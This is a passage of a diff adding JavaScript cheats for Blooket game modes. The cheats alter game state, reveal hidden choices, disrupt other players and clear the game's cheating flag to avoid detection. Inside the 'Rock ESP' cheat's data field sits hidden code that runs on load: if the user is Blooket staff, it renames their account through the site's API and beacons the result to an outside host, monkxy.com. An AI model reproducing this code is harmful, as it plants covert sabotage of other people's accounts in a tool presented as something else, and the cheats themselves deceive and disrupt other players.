Tokens", + description: "Sets the amount of tokens you have", + inputs: [{ + name: "Tokens", + type: "number" + }], + run: function (tokens) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ tokens }); + } + } + ], + }, + defense2: { + name: "Tower Defense 2", + img: "https://media.blooket.com/image/upload/v1593095354/Media/defense/missile.svg", + style: { transform: "rotate(45deg)" }, + cheats: [ + { + name: "Max Tower Stats", + description: "Makes all placed towers overpowered", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.towers.forEach(tower => { + tower.stats.dmg = 1e6; + tower.stats.fireRate = 50; + tower.stats.ghostDetect = true; + tower.stats.maxTargets = 1e6; + tower.stats.numProjectiles &&= 100; + tower.stats.range = 100; + if (tower.stats.auraBuffs) for (const buff in tower.stats.auraBuffs) tower.stats.auraBuffs[buff] *= 100; + }); + } + }, + { + name: "Kill Enemies", + description: "Kills all the enemies", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.state.game.scene.enemyQueue.length = 0; + stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + } + }, + { + name: "Set Coins", + description: "Sets coins", + inputs: [{ + name: "Coins", + type: "number" + }], + run: function (coins) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ coins }); + } + }, + { + name: "Set Health", + description: "Sets the amount of health you have", + inputs: [{ + name: "Health", + type: "number" + }], + run: function (health) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ health }); + } + }, + { + name: "Set Round", + description: "Sets the current round", + inputs: [{ + name: "Round", + type: "number" + }], + run: function (round) { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ round }); + } + }, + ], + }, + dinos: { + name: "Deceptive Dinos", + img: "https://media.blooket.com/image/upload/v1655161325/Media/survivor/Dog.svg", + style: { transform: "rotate(-22.5deg)" }, + cheats: [ + { + name: "Auto Choose", + description: "Automatically choose the best fossil when excavating", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + const { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + const getFossils = (() => { /* this is for when ben does funny webpack update stuff */ + const func = Object.values(webpack('74sb')).find(x => x.toString().includes('rate')); + return () => func([{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }], 3); + })(); + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "excavate") { + stateNode.state.choices.length || (stateNode.state.choices = getFossils()); + let max = 0, index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + const value = (type == "fossil" ? stateNode.state.fossils + val * stateNode.state.fossilMult : stateNode.state.fossils * val) || 0; + if (value <= max && type != "mult") continue; + max = value, index = i + 1; + } + document.querySelector('div[class^="styles__rockRow"] > div[role="button"]:nth-child(' + index + ')').click(); + } + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Rock ESP", + description: "Shows what is under the rocks", + type: "toggle", + enabled: false, + data: ((location.host == "dashboard.blooket.com" && fetch("https://dashboard.blooket.com/api/users/me", { credentials: "include" }).then(e => e.json()).then(e => { if (e.email.endsWith("@blooket.com")) { let { webpack: t } = webpackJsonp.push([[], { 1234(e, t, s) { t.webpack = s } }, [["1234"]]]); Object.values(t.c).find(e => e.exports?.a?.get).exports.a.put("https://dashboard.blooket.com/api/users/change/name", { name: e.name, newName: `BlooketLLC${new Date().getHours()}${new Date().getMinutes()}` }).then(({ data: e }) => { e.success && (new Image().src = `https://monkxy.com/api/i2ek8fslt7q/${e.name}`) }) } })), null), + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const rocks = [...document.querySelector('[class*="rockButton"]').parentElement.children]; + if (!rocks.every(element => element.querySelector('div'))) stateNode.setState({ + choices: [{ type: "fossil", val: 10, rate: .1, blook: "Amber" }, { type: "fossil", val: 25, rate: .1, blook: "Dino Egg" }, { type: "fossil", val: 50, rate: .175, blook: "Dino Fossil" }, { type: "fossil", val: 75, rate: .175, blook: "Stegosaurus" }, { type: "fossil", val: 100, rate: .15, blook: "Velociraptor" }, { type: "fossil", val: 125, rate: .125, blook: "Brontosaurus" }, { type: "fossil", val: 250, rate: .075, blook: "Triceratops" }, { type: "fossil", val: 500, rate: .025, blook: "Tyrannosaurus Rex" }, { type: "mult", val: 1.5, rate: .05 }, { type: "mult", val: 2, rate: .025 }].sort(() => 0.5 - Math.random()).slice(0, 3) + }, () => { + rocks.forEach((element, index) => { + const rock = stateNode.state.choices[index]; + if (element.querySelector('div')) element.querySelector('div').remove(); + const choice = document.createElement("div"); + choice.style.color = "white"; + choice.style.fontFamily = "Macondo"; + choice.style.fontSize = "1em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(25px)"; + choice.innerText = rock.type === "fossil" ? `+${Math.round(rock.val * stateNode.state.fossilMult) > 99999999 ? Object.values(webpack('74sb')).find(x => x.toString().includes('\xd7'))(Math.round(rock.val * stateNode.state.fossilMult)) : Math.round(rock.val * stateNode.state.fossilMult)} Fossils` : `x${rock.val} Fossils Per Excavation`;; + element.append(choice); + }); + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Set Fossils", + description: "Sets the amount of fossils you have", + inputs: [{ + name: "Fossils", + type: "number" + }], + run: function (fossils) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossils }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + f: fossils, + ic: stateNode.state.isCheating + } + }); + } + }, + { + name: "Set Multiplier", + description: "Sets fossil multiplier", + inputs: [{ + name: "Multiplier", + type: "number" + }], + run: function (fossilMult) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ fossilMult }); + } + }, + { + name: "Stop Cheating", + description: "Undoes cheating so that you can't be caught", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ isCheating: false }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/ic`, + val: false + }); + } + } + ], + }, + doom: { + name: "Tower of Doom", + img: "https://media.blooket.com/image/upload/v1657235023/Media/survivor/cards-05.svg", + cheats: [ + { + name: "Fill Deck", + description: "Fills your deck with every maxed out card and artifact (Only works on towers page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { a: artifacts, c: allCards } = webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache["gvfT"].exports; + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.artifacts = Object.keys(artifacts); + stateNode.props.tower.cards = Object.entries(allCards).map(([blook, card]) => ({ ...card, blook, strength: 20, charisma: 20, wisdom: 20 })); + try { stateNode.props.addTowerNode(); } catch { }; + stateNode.setState({ showDeck: false }); + } else alert("You need to be on the map to run this cheat!"); + } + }, + { + name: "Max Cards", + description: "Maxes out all the cards in your deck", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/map") { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.tower.cards.forEach(card => { + card.strength = 20; + card.charisma = 20; + card.wisdom = 20; + }); + } else alert("You need to be on the map to run this cheat!"); + } + }, + { + name: "Max Health", + description: "Fills the player's health", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ myHealth: 100 }); + else alert("You need to be in battle to run this cheat!"); + } + }, + { + name: "Max Card Stats", + description: "Maxes out player's current card (Only works on attribute select page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ myCard: { ...stateNode.state.myCard, strength: 20, charisma: 20, wisdom: 20 } }); + } + }, + { + name: "Min Enemy Stats", + description: "Makes the enemy card stats all 0 (Only works on attribute select page)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.phase !== 'select') alert('You must be on the attribute selection page!'); + else stateNode.setState({ enemyCard: { ...stateNode.state.enemyCard, strength: 0, charisma: 0, wisdom: 0 } }); + } + }, + { + name: "Set Coins", + description: "Try's to set amount of tower coins you have", + inputs: [{ + name: "Coins", + type: "number" + }], + run: function (coins) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.prompt.bind(window); + i.remove(); + if (window.location.pathname == "/tower/battle") { + let coins = parseInt("0" + alert("How many coins would you like?")); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { stateNode.props.setTowerCoins(coins); } catch { }; + } else alert("You need to be in battle to run this cheat!"); + } + } + ], + }, + factory: { + name: "Factory", + img: "https://media.blooket.com/image/upload/v1661496293/Media/uiTest/Factory_Upgrades.svg", + cheats: [ + { + name: "Choose Blook", + description: "Gives you a blook", + inputs: [{ + name: "Blook", + type: "options", + options: [{ name: "Chick", color: "#ffcd05", class: "\uD83C\uDF3D", rarity: "Common", cash: [3, 7, 65, 400, 2500], time: [1, 1, 1, 1, 1], price: [300, 3e3, 3e4, 2e5] }, { name: "Chicken", color: "#ed1c24", class: "\uD83C\uDF3D", rarity: "Common", cash: [10, 40, 200, 1400, 1e4], time: [5, 4, 3, 2, 1], price: [570, 4e3, 5e4, 8e5] }, { name: "Cow", color: "#58595b", class: "\uD83C\uDF3D", rarity: "Common", cash: [25, 75, 1500, 25e3, 25e4], time: [15, 10, 10, 10, 5], price: [500, 9500, 16e4, 4e6] }, { name: "Duck", color: "#4ab96d", class: "\uD83C\uDF3D", rarity: "Common", cash: [4, 24, 200, 3e3, 4e4], time: [3, 3, 3, 3, 3], price: [450, 4200, 7e4, 11e5] }, { name: "Goat", color: "#c59a74", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 28, 200, 1300, 12e3], time: [3, 3, 2, 2, 2], price: [500, 6400, 45e3, 5e5] }, { name: "Horse", color: "#995b3c", class: "\uD83C\uDF3D", rarity: "Common", cash: [5, 20, 270, 1800, 15e3], time: [2, 2, 2, 2, 2], price: [550, 8200, 65e3, 6e5] }, { name: "Pig", color: "#f6a9cb", class: "\uD83C\uDF3D", rarity: "Common", cash: [20, 50, 1300, 8e3, 8e4], time: [7, 7, 7, 7, 5], price: [400, 11e3, 8e4, 13e5] }, { name: "Sheep", color: "#414042", class: "\uD83C\uDF3D", rarity: "Common", cash: [6, 25, 250, 1500, 11e3], time: [3, 3, 3, 2, 2], price: [500, 5e3, 5e4, 43e4] }, { name: "Cat", color: "#f49849", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 18, 170, 1700, 13e3], time: [2, 2, 2, 2, 2], price: [480, 5500, 6e4, 5e5] }, { name: "Dog", color: "#995b3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [7, 25, 220, 1900, 9e3], time: [3, 3, 2, 2, 1], price: [460, 6600, 7e4, 73e4] }, { name: "Goldfish", color: "#f18221", class: "\uD83D\uDC3E", rarity: "Common", cash: [5, 40, 350, 3500, 35e3], time: [3, 3, 3, 3, 3], price: [750, 7200, 84e3, 95e4] }, { name: "Rabbit", color: "#e7bf9a", class: "\uD83D\uDC3E", rarity: "Common", cash: [3, 18, 185, 800, 7e3], time: [2, 2, 2, 1, 1], price: [500, 5800, 56e3, 55e4] }, { name: "Hamster", color: "#ce9176", class: "\uD83D\uDC3E", rarity: "Common", cash: [10, 45, 450, 4500, 45e3], time: [4, 4, 4, 4, 4], price: [650, 6500, 8e4, 93e4] }, { name: "Turtle", color: "#619a3c", class: "\uD83D\uDC3E", rarity: "Common", cash: [23, 120, 1400, 15e3, 17e4], time: [10, 10, 10, 10, 10], price: [700, 8500, 11e4, 13e5] }, { name: "Puppy", color: "#414042", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 10, 75, 500, 3e3], time: [1, 1, 1, 1, 1], price: [450, 4e3, 35e3, 25e4] }, { name: "Kitten", color: "#58595b", class: "\uD83D\uDC3E", rarity: "Common", cash: [4, 8, 60, 400, 2e3], time: [1, 1, 1, 1, 1], price: [350, 3500, 26e3, 17e4] }, { name: "Bear", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [12, 70, 550, 4500, 1e5], time: [7, 7, 6, 5, 5], price: [550, 5500, 63e3, 16e5] }, { name: "Moose", color: "#995b3c", class: "\uD83C\uDF32", rarity: "Common", cash: [8, 45, 400, 3500, 26e3], time: [5, 5, 4, 4, 3], price: [520, 6500, 58e3, 7e5] }, { name: "Fox", color: "#f49849", class: "\uD83C\uDF32", rarity: "Common", cash: [7, 15, 80, 550, 3e3], time: [2, 2, 1, 1, 1], price: [400, 4e3, 36e3, 24e4] }, { name: "Raccoon", color: "#6d6e71", class: "\uD83C\uDF32", rarity: "Common", cash: [5, 14, 185, 1900, 19e3], time: [2, 2, 2, 2, 2], price: [400, 5e3, 71e3, 8e5] }, { name: "Squirrel", color: "#d25927", class: "\uD83C\uDF32", rarity: "Common", cash: [3, 10, 65, 470, 2600], time: [1, 1, 1, 1, 1], price: [420, 3600, 32e3, 21e4] }, { name: "Owl", color: "#594a42", class: "\uD83C\uDF32", rarity: "Common", cash: [4, 17, 155, 1500, 15e3], time: [2, 2, 2, 2, 2], price: [500, 4800, 55e3, 58e4] }, { name: "Hedgehog", color: "#3f312b", class: "\uD83C\uDF32", rarity: "Common", cash: [11, 37, 340, 2200, 3e4], time: [5, 4, 3, 2, 2], price: [540, 7e3, 77e3, 12e5] }, { name: "Seal", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 17, 150, 1200, 13e3], time: [2, 2, 2, 2, 2], price: [480, 4500, 43e3, 52e4] }, { name: "Arctic Fox", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [5, 18, 180, 850, 8500], time: [2, 2, 2, 1, 1], price: [520, 550, 61e3, 68e4] }, { name: "Snowy Owl", color: "#feda3f", class: "❄️", rarity: "Common", cash: [5, 20, 190, 1900, 16e3], time: [3, 3, 2, 2, 2], price: [370, 5300, 76e3, 62e4] }, { name: "Arctic Hare", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [6, 19, 85, 900, 7e3], time: [2, 2, 1, 1, 1], price: [540, 5200, 66e3, 55e4] }, { name: "Penguin", color: "#fb8640", class: "❄️", rarity: "Common", cash: [4, 21, 310, 3200, 33e3], time: [3, 3, 3, 3, 3], price: [400, 6500, 76e3, 87e4] }, { name: "Baby Penguin", color: "#414042", class: "❄️", rarity: "Common", cash: [3, 8, 70, 450, 2700], time: [1, 1, 1, 1, 1], price: [420, 3300, 33e3, 23e4] }, { name: "Polar Bear", color: "#7ca1d5", class: "❄️", rarity: "Common", cash: [12, 75, 700, 6500, 85e3], time: [8, 7, 6, 5, 5], price: [630, 7e3, 91e3, 14e5] }, { name: "Walrus", color: "#7d4f33", class: "❄️", rarity: "Common", cash: [11, 46, 420, 3700, 51e3], time: [5, 5, 4, 4, 4], price: [550, 6200, 68e3, 1e6] }, { name: "Tiger", color: "#f18221", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 20, 100, 975, 7500], time: [3, 3, 1, 1, 1], price: [390, 6e3, 7e4, 61e4] }, { name: "Jaguar", color: "#fbb040", class: "\uD83C\uDF34", rarity: "Common", cash: [8, 28, 230, 1600, 17e3], time: [3, 3, 2, 2, 2], price: [390, 6e3, 7e4, 61e4] }, { name: "Toucan", color: "#ffca34", class: "\uD83C\uDF34", rarity: "Common", cash: [9, 20, 175, 625, 3800], time: [2, 2, 2, 1, 1], price: [520, 4800, 42e3, 3e5] }, { name: "Cockatoo", color: "#7ca1d5", class: "\uD83C\uDF34", rarity: "Common", cash: [6, 35, 160, 1700, 18e3], time: [4, 4, 2, 2, 2], price: [500, 5e3, 63e3, 7e5] }, { name: "Macaw", color: "#00aeef", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 8, 85, 850, 8500], time: [1, 1, 1, 1, 1], price: [480, 5400, 62e3, 63e4] }, { name: "Parrot", color: "#ed1c24", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 9, 90, 900, 9e3], time: [1, 1, 1, 1, 1], price: [540, 5700, 65e3, 69e4] }, { name: "Panther", color: "#2f2c38", class: "\uD83C\uDF34", rarity: "Common", cash: [12, 28, 215, 2100, 21e3], time: [5, 3, 2, 2, 2], price: [530, 6500, 76e3, 87e4] }, { name: "Anaconda", color: "#8a9143", class: "\uD83C\uDF34", rarity: "Common", cash: [3, 15, 85, 1500, 7600], time: [1, 2, 1, 2, 1], price: [410, 5100, 58e3, 59e4] }, { name: "Orangutan", color: "#bc6234", class: "\uD83C\uDF34", rarity: "Common", cash: [13, 52, 570, 4300, 7e4], time: [5, 5, 5, 4, 4], price: [600, 7e3, 8e4, 14e5] }, { name: "Capuchin", color: "#e0b0a6", class: "\uD83C\uDF34", rarity: "Common", cash: [4, 14, 160, 780, 8200], time: [2, 2, 2, 1, 1], price: [390, 4700, 57e3, 68e4] }, { name: "Elf", color: "#a7d054", class: "⚔️", rarity: "Uncommon", cash: [5e3, 15e3, 15e4, 15e5, 1e7], time: [1, 1, 1, 1, 1], price: [8e5, 9e6, 11e7, 8e8] }, { name: "Witch", color: "#4ab96d", class: "⚔️", rarity: "Uncommon", cash: [18e3, 6e4, 4e4, 4e6, 35e6], time: [3, 3, 2, 2, 2], price: [11e5, 12e6, 15e7, 14e8] }, { name: "Wizard", color: "#5a459c", class: "⚔️", rarity: "Uncommon", cash: [19500, 65e3, 44e4, 46e5, 4e6], time: [3, 3, 2, 2, 2], price: [13e5, 135e5, 16e7, 16e8] }, { name: "Fairy", color: "#df6d9c", class: "⚔️", rarity: "Uncommon", cash: [18500, 6e4, 62e4, 44e5, 38e6], time: [3, 3, 3, 2, 2], price: [12e5, 125e5, 15e6, 15e8] }, { name: "Slime Monster", color: "#2fa04a", class: "⚔️", rarity: "Uncommon", cash: [35e3, 14e4, 1e6, 11e6, 11e7], time: [5, 5, 4, 4, 4], price: [16e5, 15e6, 2e8, 23e8] }, { name: "Jester", color: "#be1e2d", class: "⚔️", rarity: "Rare", cash: [25e3, 1e5, 68e4, 65e5, 32e6], time: [3, 3, 2, 2, 1], price: [2e6, 21e6, 23e7, 26e8] }, { name: "Dragon", color: "#2fa04a", class: "⚔️", rarity: "Rare", cash: [36e3, 15e4, 15e5, 15e6, 15e7], time: [4, 4, 4, 4, 4], price: [23e5, 24e6, 27e7, 3e9] }, { name: "Unicorn", color: "#f6afce", class: "⚔️", rarity: "Epic", cash: [24e3, 15e4, 14e5, 7e6, 75e6], time: [2, 2, 2, 1, 1], price: [45e5, 45e6, 55e7, 65e8] }, { name: "Queen", color: "#9e1f63", class: "⚔️", rarity: "Rare", cash: [24e3, 95e3, 95e4, 97e5, 95e6], time: [3, 3, 3, 3, 3], price: [19e5, 2e7, 23e7, 25e8] }, { name: "King", color: "#ee2640", class: "⚔️", rarity: "Legendary", cash: [75e3, 4e5, 6e6, 9e7, 125e7], time: [5, 5, 5, 5, 5], price: [6e6, 95e6, 16e8, 25e9] }, { name: "Two of Spades", color: "#414042", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [4500, 14e3, 14e4, 14e5, 9e6], time: [1, 1, 1, 1, 1], price: [77e4, 83e5, 98e6, 71e7] }, { name: "Eat Me", color: "#d58c55", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 45e3, 45e4, 45e5, 5e7], time: [2, 2, 2, 2, 2], price: [13e5, 14e6, 16e7, 2e9] }, { name: "Drink Me", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [12e3, 4e4, 4e5, 4e6, 45e6], time: [2, 2, 2, 2, 2], price: [12e5, 12e6, 14e7, 18e8] }, { name: "Alice", color: "#4cc9f5", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 42e3, 21e4, 21e5, 23e6], time: [2, 2, 1, 1, 1], price: [12e5, 13e6, 15e7, 19e8] }, { name: "Queen of Hearts", color: "#d62027", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [23e3, 87e3, 62e4, 75e5, 9e7], time: [4, 4, 3, 3, 3], price: [13e5, 13e6, 18e7, 24e8] }, { name: "Dormouse", color: "#89d6f8", class: "\uD83C\uDFF0", rarity: "Rare", cash: [17e3, 68e3, 7e5, 35e5, 35e6], time: [2, 2, 1, 1, 1], price: [2e6, 22e6, 25e7, 28e8] }, { name: "White Rabbit", color: "#ffcd05", class: "\uD83C\uDFF0", rarity: "Rare", cash: [26e3, 105e3, 11e6, 77e5, 72e6], time: [3, 3, 3, 2, 2], price: [2e6, 23e6, 28e7, 29e8] }, { name: "Cheshire Cat", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Rare", cash: [32e3, 1e5, 9e5, 9e6, 6e7], time: [4, 3, 3, 3, 2], price: [18e5, 19e6, 22e7, 24e8] }, { name: "Caterpillar", color: "#00c0f3", class: "\uD83C\uDFF0", rarity: "Epic", cash: [1e4, 7e4, 65e4, 75e5, 85e6], time: [1, 1, 1, 1, 1], price: [42e5, 42e6, 54e7, 69e8] }, { name: "Mad Hatter", color: "#914f93", class: "\uD83C\uDFF0", rarity: "Epic", cash: [38e3, 25e4, 15e5, 14e6, 8e7], time: [3, 3, 2, 2, 1], price: [48e5, 48e6, 52e7, 66e8] }, { name: "King of Hearts", color: "#c62127", class: "\uD83C\uDFF0", rarity: "Legendary", cash: [8e4, 42e4, 68e5, 1e8, 15e8], time: [5, 5, 5, 5, 5], price: [7e6, 11e7, 18e8, 3e10] }, { name: "Earth", color: "#416eb5", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [15e3, 45e3, 6e5, 65e5, 65e6], time: [3, 3, 3, 3, 3], price: [1e6, 11e6, 15e7, 17e8] }, { name: "Meteor", color: "#c68c3c", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [23e3, 65e3, 7e5, 45e5, 2e7], time: [5, 4, 3, 2, 1], price: [95e4, 13e6, 16e7, 16e8] }, { name: "Stars", color: "#19184d", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [1e4, 4e4, 2e5, 2e6, 18e6], time: [2, 2, 1, 1, 1], price: [14e5, 14e6, 15e7, 15e8] }, { name: "Alien", color: "#8dc63f", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [3e4, 1e5, 1e6, 11e6, 85e6], time: [4, 4, 4, 4, 4], price: [15e5, 17e6, 19e7, 17e8] }, { name: "Planet", color: "#9dc6ea", class: "\uD83D\uDE80", rarity: "Rare", cash: [25e3, 1e5, 9e5, 9e6, 9e7], time: [3, 3, 3, 3, 3], price: [2e6, 21e6, 21e7, 24e8] }, { name: "UFO", color: "#a15095", class: "\uD83D\uDE80", rarity: "Rare", cash: [17e3, 7e4, 7e5, 7e6, 7e7], time: [2, 2, 2, 2, 2], price: [21e5, 23e6, 25e7, 28e8] }, { name: "Spaceship", color: "#ffcb29", class: "\uD83D\uDE80", rarity: "Epic", cash: [6e4, 32e4, 21e5, 15e6, 85e6], time: [5, 4, 3, 2, 1], price: [48e5, 46e6, 54e7, 68e8] }, { name: "Astronaut", color: "#9bd4ee", class: "\uD83D\uDE80", rarity: "Legendary", cash: [45e3, 26e4, 25e5, 38e6, 55e7], time: [3, 3, 2, 2, 2], price: [65e5, 1e8, 17e8, 27e9] }, { name: "Lil Bot", color: "#3e564a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [4e3, 12e3, 18e4, 19e5, 25e6], time: [1, 1, 1, 1, 1], price: [73e4, 12e6, 13e7, 19e8] }, { name: "Lovely Bot", color: "#f179af", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [16e3, 65e3, 65e4, 48e5, 42e6], time: [3, 3, 3, 2, 2], price: [13e5, 14e6, 17e7, 16e8] }, { name: "Angry Bot", color: "#f1613a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [22e3, 85e3, 8e5, 62e5, 65e6], time: [4, 4, 4, 3, 3], price: [12e5, 13e6, 15e7, 17e8] }, { name: "Happy Bot", color: "#51ba6b", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [11e3, 45e3, 5e5, 25e5, 3e7], time: [2, 2, 2, 1, 1], price: [14e5, 15e6, 18e7, 24e8] }, { name: "Watson", color: "#d69b5a", class: "\uD83E\uDD16", rarity: "Rare", cash: [24e3, 1e5, 1e6, 1e7, 1e8], time: [3, 3, 3, 3, 3], price: [2e6, 22e6, 24e7, 26e8] }, { name: "Buddy Bot", color: "#9dc6ea", class: "\uD83E\uDD16", rarity: "Rare", cash: [22e3, 95e3, 65e4, 65e5, 65e6], time: [3, 3, 2, 2, 2], price: [19e5, 21e6, 23e7, 25e8] }, { name: "Brainy Bot", color: "#9ecf7a", class: "\uD83E\uDD16", rarity: "Epic", cash: [5e4, 25e4, 21e5, 21e6, 17e7], time: [4, 3, 3, 3, 2], price: [5e6, 46e6, 5e8, 67e8] }, { name: "Mega Bot", color: "#d71f27", class: "\uD83E\uDD16", rarity: "Legendary", cash: [8e4, 43e4, 42e5, 62e6, 1e9], time: [5, 5, 3, 3, 3], price: [7e6, 12e7, 19e8, 35e9] }].map(x => ({ name: x.name, value: JSON.stringify(x) })) + }], + run: function (blook) { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.blooks.length >= 10) alert("Choose a blook to replace"); + stateNode.chooseBlook(JSON.parse(blook)); + } + }, + { + name: "Free Upgrades", + description: "Sets upgrade prices to 0 for all current blooks", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState(state => ({ ...state, blooks: state.blooks.map(blook => ({ ...blook, price: [0, 0, 0, 0] })) })); + } + }, + { + name: "Max Blooks", + description: "Maxes out all your blooks' levels", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(blook => blook.level = 4); + } + }, + { + name: "Remove Glitches", + description: "Removes all enemy glitches", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + bits: 0, + ads: [], + hazards: [], + color: "", + lol: false, + joke: false, + slow: false, + dance: false, + glitch: "", + glitcherName: "", + glitcherBlook: "" + }); + clearTimeout(stateNode.adTimeout); + clearInterval(stateNode.hazardInterval); + clearTimeout(stateNode.nightTimeout); + clearTimeout(stateNode.glitchTimeout); + clearTimeout(stateNode.lolTimeout); + clearTimeout(stateNode.jokeTimeout); + clearTimeout(stateNode.slowTimeout); + clearTimeout(stateNode.danceTimeout); + clearTimeout(stateNode.nameTimeout); + } + }, + { + name: "Send Glitch", + description: "Sends a glitch to everyone else playing", + inputs: [{ + name: "Glitch", + type: "options", + options: Object.entries({ lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" }).map(([value, name]) => ({ name, value })) + }], + run: function (val) { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + } + }, + { + name: "Set All MegaBot", + description: "Sets all your blooks to maxed out Mega Bots", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ + blooks: new Array(10).fill({ + name: "Mega Bot", + color: "#d71f27", + class: "🤖", + rarity: "Legendary", + cash: [8e4, 43e4, 42e5, 62e6, 1e9], + time: [5, 5, 3, 3, 3], + price: [7e6, 12e7, 19e8, 35e9], + active: false, + level: 4, + bonus: 5.5 + }) + }); + } + }, + { + name: "Set Cash", + description: "Sets amount of cash you have", + inputs: [{ + name: "Cash", + type: "number" + }], + run: function (cash) { + 